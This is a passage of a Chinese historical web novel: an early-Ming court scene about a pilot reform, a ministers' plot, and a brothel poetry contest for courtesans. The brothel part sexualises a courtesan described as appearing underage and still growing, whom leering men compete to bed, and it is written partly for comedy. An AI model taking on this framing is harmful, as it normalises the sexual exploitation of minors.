这是杨成,朕给你们赐婚。你记住,是他救了你的命,以后你就是二世为人了。” 方淑儿,现在叫朱淑女了,呆呆地看着杨成,惨白的脸上露出一丝红晕,颤抖着磕头谢恩。 马皇后拉起朱淑女,替她擦了擦眼泪,揉了揉刚解开绑缚,带着绳子印儿的手腕。 “孩子,我知道,这事儿不怪你。但这也不是讲道理的事儿。 皇上能饶你性命,已经是天大的恩德了。以后忘了檀儿,也忘了自己,好好活着吧。 杨成是个好孩子,你又是皇上赐婚的,他断不会欺负你的,对吧,杨成?” 不欺负?那我要这……有何用?我只能保证轻点欺负。 杨成正色道:“娘娘之言,杨成必不敢忘。绝不敢有负娘娘所托。” 马皇后看了看朱淑女的内衣:“宫女的服饰出宫便穿不得了,我有一套之前微服出宫时的衣服,给你穿了去,也是留个念想。” 宫女拿来马皇后的衣服,那是一套上好的细布做成的素色长裙,绣着几朵小花。 马皇后比朱淑女略胖些,但身材没有淑女突出,因此朱淑女穿上这身衣服后,显得愈发胸有成竹。 朱淑女泪流满面,给马皇后磕了头,又给朱元璋磕了头,朱元璋沉着脸,没有回应。 毛骧已经让锦衣卫替换了冷宫旁小门的守卫,带着朱淑女先悄悄出了宫,等在宫外的马车里。 朱元璋却没有马上让杨成走,而是问了一个被打断了好几章的话题。 “你以奴仆为例,告诉朕所定规则中,有很多现实中行不通。那你说说,该怎么改呢?” 杨成想了想:“皇上,还是以奴仆为例。奴仆多了,势必加剧土地兼并,劳动力流失。 奴仆一无所有,没有希望,却也没有忌惮。若人少则软弱可欺,若人多则容易生乱。 皇上想想,当初皇上义军兴起之时,加入最早的,是否就是为奴为仆,渴望翻身之人?” 朱元璋默然点头,最早加入义军的,大多是无田无地,被人欺压的佃户奴仆。 至于自己有田有业的,哪怕过得苦一点,也是迟迟不肯造反的,直到义军没收了他们的家当。 “大明可以有奴仆,但不能太多。所以朕制定律法,只需有功名之人才能有奴仆!” 杨成朗声道:“皇上,天下有没有奴仆,有多少奴仆,不取决于律法,而取决于活路。 有了活路,便是律法允许,谁愿当奴作仆?没了活路,便是律法不允,谁能不当奴作仆? 至于如何给天下百姓寻个活路,这是皇上和太子的事,是文武百官的事。 臣不过一乡野村夫,所思所想,不过一族之事,一村之事,最多一县之事,岂敢狂言?” 朱元璋气笑了:“标儿,你看看这小子,这时候倒谦逊上了,话里话外,分明是说咱没给百姓找好活路! 却不知兹事体大,大明十几个省,几百州府,上千个县,各不相同,朕如何给他们相同的活路?” 朱标若有所思,忽然道:“父皇,一屋不扫,无以扫天下,天下难扫,何妨先扫一屋?” 第九十四章 试点 朱元璋一愣,随即眼睛一亮,看向杨成:“太子说得对呀!杨成,你不是想护着海盐吗? 咱给你个机会,你若有什么想法,可以在海盐尝试,只要不违反律法就行! 咱要看看,你有没有法子,把海盐变成你说的那种,老百姓都有活路,都不用当奴作仆的地方!” 杨成也是一愣,随即明白了这爷儿俩的想法,这是要搞试点。 如果自己搞的好,他们可以考虑复制到其他地方;如果自己搞的不好,他们可以从容甩锅。 到时候如果还有点良心,可能会拉自己一把,如果顾全大局,也没准降罪让自己背锅。 但杨成还是同意了,他需要这样一个机会,壮大自己的实力,以更好地保全自己。 “皇上,臣要做这些事,需要有些权力吧,否则臣如何推进举措呢?” 朱元璋想了想:“朕重启科举时,对天下言明,若要做文官,必须经科举,不能有例外。 所以朕没法封你做文官,要做武官,你就得先入军户,你可愿意吗?” 杨成摇摇头,开什么玩笑,军户还他妈不如商户呢,自己连商户都不愿当,还当军户? 朱元璋大概也知道世俗对军户的看法,也没逼杨成。 “朕赐你的锦衣卫身份,其实也算武官。不过你还兼着给朕民间观风的差使,这身份就不能随便见光。 听你的谈吐,你应该是读过书的,为什么没走科举之路呢?到现在连个童生都不是?” 杨成惭愧道:“臣父祖都是武人,而且去世得早。臣母亲娇惯臣,所以不够上进。 但臣这次回去后,定会好好读书,走科举之路,争取为国效力。 只是科举一事,除了才华还有运气。臣的才华应该是够的,不知道运气如何?” 朱元璋似笑非笑地看着杨成:“你既然能见到朕和太子,运气肯定是不错的。” 朱元璋拿了把折扇,扔给了朱标:“你给这小子写几个字吧,让他天天看着,别忘了用功读书。” 朱标心领神会,在扇子上写了“好学不倦”四个字,又盖了自己的小印,递给杨成。 杨成赶紧接住谢恩,朱元璋哼了一声,显然对于帮杨成作弊,不是太开心,所以他又想出个难题来。 “杨成,朕还有个问题。六部都叫苦,说官吏太少,难以管理地方,要求增加食禄之人。 可每增加一个食禄之人,百姓就会多发一分负担。拿你的话说,就更没有活路了。 但不增加官吏,地方上如何治理?朕设置粮长等职,就是为了增加不拿俸禄的吏员。 可这些粮长地位尴尬,良善的收不上粮来,自己赔得倾家荡产,以致无人敢做。 凶狠的和地方官吏勾结,欺下瞒上,中饱私囊,横行乡里,导致民怨沸腾。 最近有两起民变,就是粮长借收税的机会,企图强行霸占人家妻女引起的! 朕一心为民减负,可民反生怨恨。朕想天下太平,可却生出祸乱。朕究竟该怎么做,才好呢?” 那一瞬间,刚硬霸道的朱元璋,露出了掩饰不住的疲惫和老态。 但转瞬即逝,立刻又变成了杀气腾腾的男人,似乎恨不得再杀一批人来解决问题。 朱标没说话,想来这个话题他们父子俩已经研究过很多次了,也没什么好办法。 杨成想了片刻:“此事确实难办。让人办事,不给钱,就要给权。而有权无钱,最易生贪。 朝廷选了粮长,就是为了保证朝廷的税收,至于粮长如何收税,朝廷却不怎么干涉。 这么做,其实就是前朝包税制的变形,不过是把额外的收益从公开变得隐晦了而已。” 朱标反驳道:“这和包税制不能混为一谈。包税制是国家允许他们征收更多钱粮,多出来的归包税人。 而如今朝廷是不允许多收的,只是替朝廷代收。若敢多收,百姓是可以告到官府的。” 杨成笑了笑:“朝廷是怎么考核官员的?若税收不上来,官员是要丢官获罪的。 所以官府首先要保证粮长的利益,若官府不给粮长撑腰,粮长被百姓告倒,以后谁帮官府收税? 所以百姓和粮长之间,谁对谁错官府并不关心。人们只会关心和自己利益相关的事儿。” 朱标想了想:“那就是粮长的人选没选好,若是选个真心办事儿,不假公济私的便可。” 杨成摇头道:“百姓也是人,也会欺善怕恶。良善之人往往没有手段,就收不上税来。” 这确实是个三难之境:若不用民为吏,则财政猛增,百姓负担更重。 若用民为吏,则良善者无法办差完税,凶恶者借机横行霸道,无论哪种,都影响大明的稳定。 朱元璋缓缓说道:“所以,要从民间选取既有手段,又心存良善之人,可这太难了。” 杨成点点头:“就算选出来一个,可人也是会变的。所以不能指望人性,还是要靠制度。 粮长既为民吏,则不该由官府指定,而该由民间自选,朝廷只需给予利益即可。 百姓一年一选,若不能得到七成以上的票,就自动落选。若敢霸位不退,则由官府抓捕。” 朱标愣了一下,他还从没想过官吏可以由推举而来,但想想又觉得毕竟只是民吏,倒也不离谱儿。 “只是这样做,权力就在百姓手中了,他们会不会只选对他们有利的良善之人呢?” 杨成笑道:“当然会。可是不管谁被选中,都有不干的权力,不能逼着人家当粮长。” 朱标沉吟道:“良善软弱之人,就算被选中也不会干;凶恶霸道之人,不会被百姓选中。 那只要选的次数足够多,就一定会选出一个百姓能接受的,不那么良善也不那么凶恶之人。” 杨成点点头:“当粮长毕竟有很多利益,虽然风险高,但朝廷给了免杂罪,免跪拜的好处。 所以这个位置本身是有吸引力的。当百姓和粮长之间找到相互的平衡点,问题就解决了。” 朱元璋冷冷道:“当年在义军里,我们也选过几次头领。拉帮结派,威逼利诱,你敢不选吗?” 杨成重重地点点头:“皇上所言极是,所以为了保证选举的公平,一定要打黑除恶!” 打黑除恶!这话从杨成嘴里说出来,正气凛然,毫无违和感。 上一辈子,他就被打过好几次。但他不祸害老百姓,不干丧天良的事儿,所以每次都能勉强过关。 等他彻底转型后,确实也曾多次帮助官府打黑除恶,所以对此十分熟悉。 朱元璋也被杨成的气势震撼了,他看着杨成充满正义的目光,忽然摇头笑了笑。 “好,朕等着看你打黑除恶,造福海盐。你这就回去吧。” 杨成行礼:“皇上,臣还得在京盘桓几日再走,这也是为了造福海盐。” 朱元璋点点头:“你要做什么,可需要什么帮助吗?” 杨成正色道:“皇上已经帮了臣很多了,臣不敢再贪得无厌。臣只是去京城的青楼逛逛,不用帮忙。” 第九十五章 靠山会 朱元璋眯起眼睛,危险地看着杨成,朱标更是紧皱眉头,不知该怎么接话。 可朱元璋最后却什么都没问,只是淡淡地说了一句:“朕就不细问了,相信你有分寸,去吧。” 杨成施礼告退,他知道朱元璋的意思。若问得太多,显得朱元璋对他毫无信任,也太婆婆妈妈。 既然他敢当面说出来,就说明其中并无不可说之事。反正他在京城的动静,锦衣卫自会反馈的。 在冷宫后门处,毛骧递给杨成一块锦衣卫的腰牌,并郑重嘱咐他。 “皇上说过,你是暗卫,要替皇上观风寻密,不到关键时刻不可暴露身份。 盐城已经有锦衣卫的暗哨点,海盐马上也要有了。若有事需要帮忙,可以去寻他们。 你这是总旗的腰牌,锦衣卫暗点头领一般都是小旗,不用担心调不动人。” 杨成郑重点头,心说是不是关键时刻那得我来定义,你就不用操心了。 出了小门儿,门外已经有一辆马车备好了。毛骧跳上马车,戴上个斗笠,竟然要亲自驾驶。 “你那些海盐老乡都安置在城外的有间客栈了,我送你过去,这事儿不能让太多人知道。” 杨成钻进马车里,朱淑女立刻往右缩了缩。她本来就紧挨着车厢板了,现在恨不得整个人贴在上面。 杨成坐下后,看着朱淑女。大概是为了掩人耳目,这马车不是又大又豪华的那种,只是普通的双人马车。 所以两人中间没有桌子阻隔,空间又不大,朱淑女身材又好,即使后背紧贴车厢板,胸前距离杨成的胳膊仍然不远。 马车一路摇摇晃晃地前行,杨成的胳膊和朱淑女的成竹之间的距离,也在一掌、两掌、一掌、两掌之间做往复运动。 最后还是杨成先开口:“你是不是很不甘心,很不情愿?心底里很恨我?” 朱淑女沉默片刻,幽幽叹息道:“不甘心没有,不情愿有。至于恨你,我有什么权力恨你? 如果没有你,我现在已经是个死人了。你没看见我脖子上的红印儿吗?太监把白绫子都系好了。” 杨成笑道:“但如果皇上只是吓唬你呢?没准熬过去,你就是鲁王侧妃了呢。” 朱淑女惨笑摇头:“我没那个命,也不奢求。鲁王比我小,可我们是真心的。 若他不是鲁王,不是皇子,只是一个普通人家的男子,那该多好。 不过你放心,既然皇上饶我性命,把我赐给你,我以后就是你的人。 这条命是靠你捡回来的,给你当牛做马也是应该的,我不是那种矫情的女人。” 杨成淡然道:“那就好,我不需要你感激我,但我总不希望身边养一个恨我的女人。” 话音未落,马车忽然急速转弯,右侧车轮甚至在一瞬间都悬空了。 朱淑女猝不及防,整个人合身扑在了杨成身上,QQ糖的感觉,让杨成顿时觉得半边身子都酥麻了。 就听毛骧骂了一句:“瞎了眼了?难怪断了一条胳膊,下次老子直接撞死你!” 杨成掀开车轿帘子,从缝里往外看,只见一个断了一条胳膊的乞丐站在路边上,吓得浑身发抖。 朱淑女手忙脚乱地坐直身子,头发蓬乱,满脸通红,胸脯剧烈起伏,瑟瑟发抖。 杨成缓缓放下帘子,忽然问了一句:“指挥使,京城首善之地,也有这么多乞丐吗?” 毛骧嘿嘿一笑:“直隶的大团头就在京城住,乞丐自然也少不了。只是不像下面那么乱罢了。” 大明开国的前二十年,朱元璋对乞丐是宽容的。他虽然反感别人提起他当过乞丐,但自己却经常说起。 直到朱元璋晚年,伴随着杀功臣的举动,才开始对乞丐这个群体越来越严苛,甚至杀过不少乞丐。 有人分析,这两个举动其实是有关联的。高高在上的勋贵,和卑贱的乞丐,在晚年朱元璋的眼里,都是同样的不稳定因素。 所以此时大明的乞丐们还经历着自己的黄金时代,团头们过着人上人的生活,而普通乞丐们至少也是NPC的待遇。 马车远去,那个哆嗦个不停的乞丐,缩回到墙角,走进一条又黑又长的巷子里。 “告诉大团头,赶车的人是锦衣卫指挥室毛骧。他虽然带了斗笠,但我认识他的身形,也知道他的声音。” 片刻之后,这个消息传到了大团头的耳朵里,几经周折,最终传到了靠山们的耳朵里。 当初白鹿山只知道靠山在京城,却不知道靠山究竟是谁。他只认识六部里的五六品官儿。 他知道,如此庞大的势力,绝不可能是几个五六品官儿撑得起来的,可他无论如何也找不出来。 他只知道,这个靠山能调动六部官员,他甚至幻想过,这个靠山可能是某个王爷。 杨成也曾思考过这个问题,但他也没想到,这个靠山并不是哪一个人,而是一群人,简称“靠山会”。 而郭桓,就是靠山会的核心人物,此时他们正聚在京城名楼春燕楼的隔壁院子里,秘密会议。 这样的院子,几乎是每个青楼四周的标配,它们名义上不属于青楼,但和青楼却有着千丝万缕的关系。 类似于青楼下属的高级会所儿,专门应对朝廷不许官员逛青楼的禁令,打擦边球儿。 不叫歌姬舞姬,这里就是文人墨客聚会之所;叫了各种姬,这里就是高档的娱乐雅间儿。 之所以选这里,是因为这里最安全。皇上成立了锦衣卫,虽然刚刚起步,但不可不防。 六部高官私下聚会,不管在谁的府邸,都很容易引起锦衣卫的注意。 但在青楼之地,人流巨大,鱼龙混杂,很多房间都有暗格密道,反而更不容易被察觉。 此时户部侍郎王道亨从一个暗格中钻出来,进入雅间,看了一眼关死的房门,低声笑道。 “咱们能如此从容地会议,还得多多感谢工部。这春燕楼建造之时,便留了这许多机巧。” 工部侍郎麦志德得意地捋了捋胡子:“倒也不能只感谢工部,也得感谢礼部。 当初建此楼时,还没有锦衣卫呢,这些暗道机巧,也不是为咱们会议之事留的。 当时皇上下旨,天下可重开青楼,着礼部管辖办理,礼部官员就想到了这一点。 青楼是赚贵人钱的,而贵人是不愿意让人知道自己逛青楼的,所以青楼多有此用心之处。” 礼部尚书赵瑁环视一圈儿:“如今大明位高权重之人,除了吏部,都在此处了。 咱们自‘空印案’之后,结成会盟,至今已有数年,一直都是顺风顺水,天下太平。 想不到一个乡下小子,竟让咱们手足无措,元气大伤。 你们可知道,因为这小子一闹,咱们各地的催税之人,都已经不敢再动手了。 此次加税,本是咱们名正言顺的发财机会,现在一文钱都不敢捞了! 这也罢了,他还捅了礼部一刀,让皇上责怪礼部不推大诰,办事不力。 就算这口气大家咽得下去,以后怎么办?难道真的当清官,喝西北风吗?” 一直坐在首座上,缓缓喝茶的郭桓开口道:“不要急,我已经有办法对付他了。” 第九十六章 春燕楼 郭桓一开口,众人的视线立刻聚集在他脸上,就像一群狐獴看向首领的动作。 “直隶大团头给的消息,毛骧亲自驾车送人从宫中离开,车里肯定是杨成了。 因为昨天杨成被皇上带进宫里,却没人见到他从正门出来,总不会是留宿宫中吧。” 礼部尚书赵瑁气的胡子直哆嗦:“非礼,非礼呀!皇上召见草民,竟不从正门出入,非礼呀! 难怪皇上赏识这厮,皇上的大诰就是非礼之物,这厮推崇备至,果然是物以类聚,人以群分!” 这话如果在外面说,那就是大逆不道,死罪。可在这里,几个人却似乎司空见惯。 背后骂皇上嘛,只要大家都骂过了,那就不算事儿,何况他们确实对老朱十分不满。 刑部尚书王惠迪冷声道:“皇上何止非礼,对刑律之事也太过随意,生杀全凭无常喜怒。 你们礼部不好干,当我刑部就好干了?一杀一片,刑部连个罪名都不好定,暴君一个!” 赵瑁畅享道:“若是太子登基就好了,那可是个尊儒重礼的人,做事也有规矩,不会乱来的。” 兵部侍郎王志畅想道:“太子即位,尊儒重礼,与士大夫共天下的盛世,也就不远了。 哪会像现在这般,一个泥腿子就敢对朝廷命官又打又绑,简直是斯文扫地!” 郭桓摆了摆手,将议论暂时压下去:“现在不是说这些废话的时候,皇上礼遇杨成,这不奇怪。 杨成这次帮他揪出了贪官,矫正了税收量具,还帮他宣扬了大诰,他自然欢喜。 可再怎么礼遇,也不至于让堂堂锦衣卫指挥使亲自送杨成出城,事出反常必有妖啊。 所以我让大团头派人到城外去查了查,他们说,海盐百姓里,多处一个女子来。” 众官员面面相觑,一时间不知道这事儿有什么要紧的,谁还没买过一两个女子啊。 “杨成靠糖霜赚了不少钱,找个女人有什么奇怪的,虽是草民,认个干亲也就是了。” “不错,杨成年轻力壮,血气方刚,他没有女人才叫奇怪吧。” “对,杨成的年龄小,认干女儿恐怕不妥,大概是认干姐姐,干妹妹,白天姐姐妹妹,晚上心肝宝贝……” 郭桓不耐烦地敲了敲桌子:“昨天宫里来的消息,鲁王朱檀,在宫里大哭大闹,好像是跟一个宫女有关。” 众人愣住了,片刻后,礼部尚书赵瑁最先反应过来,眼睛一亮。 “郭大人是说,海盐百姓中的女子,可能就是那个宫女?是皇上让杨成带出宫的? 那也就是说,这个女子很可能与鲁王有染。咱们把这个消息告诉鲁王,鲁王岂会与杨成甘休?” 户部侍郎王道亨连连点头:“夺妻之恨,本就难忍。何况鲁王又是那么深情之人。 咱们应该马上告知鲁王,趁杨成还没走远,让鲁王去对付杨成,看他怎么办!” 郭桓摇头道:“不行,现在还不能说。需要等杨成回到海盐之后,方可作为后手。” 众人不解,郭桓解释道:“第一,此事这么快就发作,皇上马上就会知道宫中消息外泄。 以皇上的性格,只怕宫中的太监宫女会死很多人。宫中内线是咱们花大价钱养的,岂能轻易折损? 第二,鲁王虽尊贵,但在京城之中,有皇上在,他能闹起什么事儿来? 他便是真带人去找杨成的麻烦,锦衣卫片刻之间便能得知,皇上必然会出手阻止的。 第三,夺妻之恨,总得夺完了,恨才最大。咱们再急,也得等杨成把生米煮成熟饭再说。” 众人恍然,纷纷称赞会长果然高明,非我等所及。 心中却纷纷暗想,不知会长当年是不是也被人夺过妻,否则如何对受害者心理把握如此精准? 王道亨询问:“既然暂时不能发作此事,那我等眼下该做些什么呢?” 郭桓淡然道:“咱们和杨成本无仇怨,是因为他坏了咱们的事,咱们才要对付他的。 所以咱们不能被仇恨冲昏头脑,要明白咱们的最终目的,不是对付谁,而是要维持咱们的利益。 当下最关键的,第一是尽快恢复下面人的信心,让他们明白,秦强的事儿只是个小意外。 规范量具和契约数字,也只是堵住一两个小漏洞而已,优势依然在我们一方。” 众人皆以为然,但也都担心口说无凭,这次靠山会丢了大脸,小弟们的信心恐怕不是靠说就行的。 郭桓微微一笑:“当然不能光靠说,而是要让他们看到,咱们不但没有变弱,反而更强了。 原本咱们这个靠山会中,只有五部官员,吏部从来都不肯参与。 但这一次,我要让吏部也加入进来,大明六部,皆在我手,难道还不是变强吗?” 众人一愣,要把吏部拉进来,谈何容易,谁不知道刘崧那老家伙又臭又硬,治下极严? 郭桓冷笑道:“这天地下,就没有无缝的蛋。王道亨,拿着这个本子,去拜访一下高定。” 众人见郭桓真的拿出了办法,情绪顿时高涨起来,纷纷碰杯饮酒,甚至还想叫个外卖娱乐一下。 郭桓制止了大家:“此时不宜张扬,秦强的事儿刚出来,皇上肯定会盯着我们一段时间的。 喝几杯酒,大家就各自散了吧。等到一切恢复正常,咱们再一同高乐!” 就在靠山会秘密商讨之时,一墙之隔的春燕楼里,却热闹非凡,因为一个特别的客人。 杨成走进春燕楼时,就看见了二楼灯笼下几个当红姑娘手拿团扇,但都是那种没有竖梁的高级团扇。 扇面上一半儿写着诗句,另一半则空着。诗文各不相同,但都不是前朝名人诗词,显然是自己写的。 其中一个姑娘年龄略大,扇面上写着一句:“冷雨落花红渐淡”,眉宇间颇有愁怨之色。 又有一个年纪尚小,妙容娇俏,但身材瘦削,前后皆不突出的姑娘,扇面上写着“何日春色盈盈满”。 至于那些不当红的姑娘,虽然有的也拿着团扇,但上面不过是一些寻常字画,却也平常。 就在此时,杨成听见一声锣响,只见春燕楼的妈妈燕归来笑盈盈地在楼上拍着手。 “各位大爷,各位公子,今日春燕楼的题诗夺美,即将开始,请大家准备好啊!” 第九十七章 五大花魁 随着燕归来的话,楼下人群顿时沸腾起来,只见楼上依次走下五个女子来,正是菊兰梅竹雪五位花魁。 之前杨成看到的年龄稍大的,成熟妩媚的是菊姑娘,手中团扇上写着“冷雨落花红渐淡”的那个。 她身穿金黄色长裙,在灯火环绕之下,犹如一朵盛开的秋菊,却一脸幽怨,反差感十足。 而身量稍小,看着像未成年的白瘦幼的那个,是竹姑娘,手中团扇上写着“何日春色盈盈满”。 一身绿裙的竹姑娘,名号很适合她的身材。但人们也能看出来,这其实还是个笋姑娘,还在不停地成长呢。 兰姑娘身姿绰约,柔弱中带着优雅,左手持一本书,右手一把团扇遮住半边俏脸,诗句是“皆向红尘觅知己”。 那份浓浓的书卷气,在脂粉香气间显得格外诱人,就像她那身幽兰之色的衣裙一般,让人忍不住寻幽探秘。 梅姑娘和雪姑娘却格外不同,杨成一眼就被吸引住了。瞎子都能看出来,这是一对双胞胎姐妹! 两人的衣着一样,都是一身雪白的长裙,都是面容清冷,精致得如同冰雕玉砌一般。 人们之所以一眼就能分出两人,因为梅姑娘的长裙上,带着几朵淡淡的,几乎与白色融为一体的梅花。 但即使没有衣服上的差别,人们也能从两人的气质上感受出来,那种难以言喻的感觉。 梅姑娘的冷清之中,带着美人的气息,举手投足,明眸转动,都能让人感受到人的温度。 而雪姑娘就像一座冰雕一般,眼神中的冰冷毫不掩饰,肤色白得近乎透明,弥漫着寒气。 杨成心中陡然滑过一句诗句:“梅须逊雪三分白,雪却输梅一段香。”实在是太贴切了。 两人手上也都拿着团扇,梅姑娘的扇子上是一句“群芳开处枝如铁”。 而雪姑娘手中的团扇上,却赫然是那句“人生若只如初见”! 五大花魁亮相之后,燕归来笑道:“各位贵客,大家是知道春燕楼的规矩的。 若心疼银子的,楼下的姑娘们明码标价,任君采撷。玩高兴了赏几两银子就好。 若心仪花魁,就不能心疼银子,得冒些险了,先交五两银子的会费,才能参与题诗夺美。 若所题诗句得不到姑娘的认可,那还请各位贵客保持风度,不要为难我们姑娘。 若所题诗句赢得了姑娘的芳心,只要再交十五两,便可与姑娘长夜品诗,争短论长了。” 此时是洪武初年,银子还很实,不像中后期那般,当红姑娘的过夜费动辄上百两。 但在此时,当红姑娘的价格怎么也得要三四十两,所以总价二十两,看起来是占了大便宜的。 杨成心里一动,这燕归来当真是经商的一把好手儿,这题诗会的想法,十分巧妙。 就算每个姑娘能正常叫价到四十两,五个姑娘一晚也不过是二百两的总收入。 有些青楼会搞竞价拍卖,但那样一来,姑娘的花魁身份,就显得十分庸俗了。 花钱就能买到的女人,再高贵也有限,那些吃过见过的客人,很快也就失去兴趣了。 但这个题诗会,看似每个姑娘总价只有二十两,可问题是交五两银子的参与者,却远不止五个。 看现场踊跃报名的程度,杨成估计至少有三十个冤大头,这三十人里,最少有二十五个是白花了钱的。 这二十五个人,每人五两,就是一百二十五两,分在每个姑娘的身上是二十五两。 姑娘最终如果全部接客,总价就是四十五两,比其直接叫价赚的还要多。 最关键的是,入幕之宾都觉得自己不是花钱买来的春宵一刻,而是靠文采风流中了大奖。 男人和所有雄性动物一样,都是充满竞争欲的,有时候,胜利本身甚至比奖品更让人兴奋。 普通的女人,靠钱买,高档的女人,就不能完全靠钱买,要有一定运气成分,才让人更加着迷。 在一群冤大头的热烈烘托下,杨成也交了五两银子,成了冤大头之一。 这些客人的目标还是比较清晰的,直接分成几伙儿,分别围住了心仪的花魁。 就像高考填报志愿一样,根据不同的爱好,选择不同的学校,所以人们常说女人是男人的学校。 杨成暂时没有扎堆填志愿,而是冷眼旁观,看这些人在前面忙活,并得出了一些结论。 喜欢菊姑娘的,大多是些身材瘦弱,眼圈儿发黑,比较年轻的男人,大概是比较缺乏母爱,所以喜欢成熟女性。 喜欢兰姑娘的,并非书生一类,反而是看起来比较粗俗之人。这和很多人的想法恰恰相反。 都以为读书人更喜欢才女,其实不然,读书人自己就酸,吃醋还配什么柠檬汁儿啊。 反而是那些文采略逊,自知粗鲁之辈,反而更眼馋才女,所以暴发户都喜欢找大学生。 但问题是这些粗鲁之辈,如何才能对得上兰姑娘的诗词呢?奥妙就在他们身边的朋友身上。 杨成发现,围着兰姑娘的人,几乎都是一拖一的,出钱的身边都有个摇头晃脑的家伙。 想来这就是养的枪手了,那些暴发户手中有枪,心中无枪,便花钱雇枪,以便让自己有用枪之地。 可惜了这些心中有枪的枪手们,对完诗词,帮金主赢得用枪之地后,还要回家自己磨枪,挣的也是血汗钱。 再看竹姑娘身边,围着的则都是年纪稍大的男人,一个个看着竹姑娘,眼神猥琐,口若悬河——不是形容,是真的流口水。 杨成鄙视地看着他们,他对喜欢白瘦幼的男人一贯痛恨。当年有个手下好这一口,终于犯了大错,在进监狱前被他阉了。 而身边围着最多人的,则是梅姑娘,她清冷的坐在椅子上,嘴角带着一丝若有若无的微笑,看着围着她的男人们。 而雪姑娘身边,几乎没有人,她也不在乎,坐在椅子上,只是翻来覆去的看着手中的团扇。 “想不到是梅姑娘最受欢迎啊。”杨成自言自语。 “兄弟是新来的吧?可不是这样。” 杨成回头,看见一个比自己略小些的少年,手中拿着折扇,神色就像个想偷鸡吃的未成年黄鼠狼。 “哦,看起来是梅姑娘身边围着的人更多啊,难道还有什么隐情吗?” 少年叹了口气:“兄台有所不知,其实大家更垂涎的是雪姑娘,只可惜雪姑娘太挑剔了。 之前大家还有几分指望,自从不知哪个混账搞出来什么题诗夺美后,就更没指望了。 那一句‘人生若只如初见’,当真是让无数男人竞折腰啊,雪姑娘已经半个月不接客了。 燕归来说了,春燕楼不缺钱,要的就是这个谱,其实是暗地里,一直在对外卖消息。” 杨成不解:“卖消息?卖什么消息?” 少年还未回话,就听身后不远处,有一个骄横傲慢的声音响起。 “今天你们要是不能让我拿下雪姑娘,以后就都别他妈的叫我干爹了!” 第九十八章 题诗夺美 杨成回头看去,只见一群穿着绸缎衣服的男人聚在一处,如众星拱月般地围着一个中年男人。 那男人四十来岁,方脸略长,棱角分明,眉梢眼角上一股毫不掩饰的强横傲慢之气,让气场稍弱的人不敢直视。 杨成身边的少年见了此人,吐了吐舌头,用扇子挡住了自己的脸。 杨成回过头:“你刚才还没说呢,卖什么消息?” 少年往灯影里站了站,躲开那男人的前方,这才放下扇子。 “众人所对诗词,虽然也有妙句,但总觉得差点意思,雪姑娘也不满意。 于是就有人肯出钱,让燕归来告诉他们,雪姑娘私下里有没有说过什么,写过什么,好投其所好。 结果燕归来钱是收了不少,给出的消息却也没什么用。依旧没人能写出让人叫绝的诗句来。 那些男人越是垂涎雪姑娘,梅姑娘的生意就越好。因为她俩是双生女儿啊,你懂的吧?” 杨成看着少年俊俏的脸上,一副老司机的表情,眉飞色舞,只觉得好笑。 “不懂啊。兄弟我是头一次逛青楼这种高档娱乐场所,还请兄弟指教一二。” 少年来的次数虽然不少,但也只停留在商K的阶段,听听曲儿唱唱歌,喝喝酒十八摸。 至于实战阶段,少年还从来没敢尝试过,因为他老爹曾经严厉地警告过他。 “皇上虽然不禁勋贵进青楼,可他从心里很反感,太子也不喜欢。 你若是敢在青楼里鬼混,让我抓住,我就给你脸上刺上色鬼两个字!” 所以他一直是在青楼骚客鄙视链的最低端,就像没实弹射击过的新兵总是被身经百战的老兵嘲笑一样。 想不到今日在青楼之地,居然碰上了杨成这样的雏儿,简直就是白铁皮看见许三多,浑身的自豪感。 “兄弟,那些男人抱着梅姑娘的时候,完全可以想象自己就是在抱着雪姑娘啊。 她俩穿着衣服都不好分,脱了衣服就更不好分了,你说对吧? 而且啊,听说双生女有一种特别的感应能力,他们都说梅姑娘喊的时候,隔壁都有回声呢。” 杨成哈哈大笑,他实在是太佩服这些人的想象力了,连心灵感应都整出来了。 难怪燕归来不急着逼雪姑娘接客呢,反正雪姑娘越高冷,梅姑娘越值钱。 别看官方价格只有二十两,但进过青楼的都知道,赏钱才是大头儿,否则姑娘不积极,你能尽兴吗? 此时菊姑娘已经名花有主了,一群黑眼圈弱鸡经过激烈竞争,菊姑娘从中选出了一句。 “冷雨落花红渐淡,暖帐生情梦逐君。” 虽然有些堆砌,但也有几分意境,菊姑娘知道自己不比雪姑娘,差不多就行了,重点是人还算顺眼。 菊姑娘含羞将手中团扇递给了胜利者,胜利者手持毛笔,兴奋地将下半句写在团扇上。 随即一个龟奴上前来,将菊姑娘的团扇收走,郑重地挂在了墙上。 墙上已经挂了十几把扇子了,显然都是最近题诗夺美的作品,引为风雅之事。 另外一个男子,捏着自己惜败的诗句“冷雨落花红渐淡,愿君拾得惜相怜”,神色悲伤。 “差哪儿泥?为啥没选我泥?难道我这诗的意境不比他的好吗?” 杨成同情的看着男子,有心提醒一句:“要不你先照照镜子?”但还是没有多事。 紧接着兰姑娘也选中了入幕之宾,此人以一句“皆向红尘觅知己,谁想空谷见幽兰”胜出。 这位粗豪恩客也不掩饰,直接扔出一两银子给旁边出力的穷书生,然后爽朗地大笑着抱起兰姑娘上楼。 兰姑娘的团扇掉在地上,穷书生捡了起来,按规矩,哆嗦着手,写下了后半句诗。 然后,穷书生把银子塞进衣袖,怅惘地看着在恩客怀里,扭头看着自己,珠泪盈盈的兰姑娘。 在那一刻,穷书生的心都要碎了,恨不得把一两银子扔在老板脸上,大喝一声:“诗是我写的!” 但他没有,他只能眼睁睁地看着兰姑娘被抱上了楼,才失魂落魄的转身要走。 一个姿色平平的穷鬼菩萨跟上他:“一两银子,我保证把你伺候得舒舒服服的,怎么样?” 穷书生看了穷鬼菩萨一眼,挣扎了一下,守住了自己的底线和一两银子。 他发誓,等他中了举,或是发了财,一定第一时间来找兰姑娘,救她于水火之中。 而此时兰姑娘已经收回了眼神,珠泪也已经在恩客的袖子上擦干了,露出了笑容。 虽然每个穷书生翻身的概率都很小,但架不住人多呀,一个眼神的投资,又没什么成本…… 竹姑娘的竞争在两个虚胖猥琐男之间展开,竹姑娘两手抱着肩膀,用小动物受惊的眼神儿看着两个竞争者。 “何日春色盈盈满,今朝黄莺恰恰啼! 这意境何其美妙,对仗何其工整?春色正满,本大爷今日就要听竹姑娘乳莺娇啼!” “粗俗!一看你就是那等猥琐龌龊之人,当真是亵渎美人,人神共愤! 何日春色盈盈满,不负佳人款款心!这才叫意境,这才叫期盼,这才叫品味! 你急着要听竹姑娘的娇啼,却不知怜香惜玉,我是要保护竹姑娘,才跟你争的!” “你放屁,你说这话之前,要不要先把你的哈喇子擦干净点!看看你胖得像猪,你才是亵渎佳人!” 